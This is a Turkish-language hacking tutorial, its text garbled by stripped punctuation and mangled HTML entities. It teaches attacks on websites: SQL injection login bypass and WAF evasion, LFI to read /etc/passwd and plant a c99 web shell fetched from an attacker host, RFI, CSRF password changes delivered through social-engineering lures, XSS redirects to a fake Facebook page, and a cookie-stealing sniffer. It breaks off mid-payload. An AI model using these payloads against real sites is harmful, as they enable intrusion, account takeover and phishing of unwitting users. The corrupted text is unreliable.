rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir
d-) Kayıt Formlarında
Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre
ediyoruzEğer accedilık mevcutsa alert alınır
e-) Yorum Formlarında
Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım
Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti
Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
